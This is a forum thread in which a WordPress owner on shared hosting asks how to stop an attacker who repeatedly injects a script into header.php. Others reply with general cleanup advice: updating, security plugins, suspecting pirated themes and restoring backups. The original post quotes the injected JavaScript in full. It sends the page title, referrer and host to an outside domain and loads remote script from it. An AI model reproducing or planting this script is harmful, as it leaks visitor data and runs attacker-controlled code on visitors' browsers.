Help me to prevent website

i have multiple sites of word press in shared hosting. someone hacked my websites. hacker submit a script again and again in header.php that is

"<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://thanhnienqnam.com/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script> "

how can i prevent my websites permanently by theses scripts please give me best solution

I never been hacked, but i have seen this situation

You can contact your hosting provider about this hacker issue, you can ask them to block the hacker IP address (temporary solution)

Else, you'll need to optimized your wordpress (update your WP version and plugins to the latest, security & firewall plugin, etc.)

Goodluck

darkinferno said:

I never been hacked, but i have seen this situation

You can contact your hosting provider about this hacker issue, you can ask them to block the hacker IP address (temporary solution)

Else, you'll need to optimized your wordpress (update your WP version and plugins to the latest, security & firewall plugin, etc.)

Goodluck

Click to expand...

all plugins and word press are up to date

Then check your security plugin + its configuration.

Maybe there is a plugin that installs malicious code to your header from time to time. I once downloaded a WP theme from thepiratebay and after couple days it said that site was hacked. Basically there was a modified plugin file with malicious code.

This site is probably gone, unfortunately. Once hacked they put backdoors everywhere and the cleanup is nearly impossible. You need to recover a clean backup from before the hacking. Wipe out the current site entirely, recover the backup. If you don't have backup you're probably going to rebuild everything.

Fix it then get Sitelock security. Its really good, I am using this. My site was also under attack, now its safe.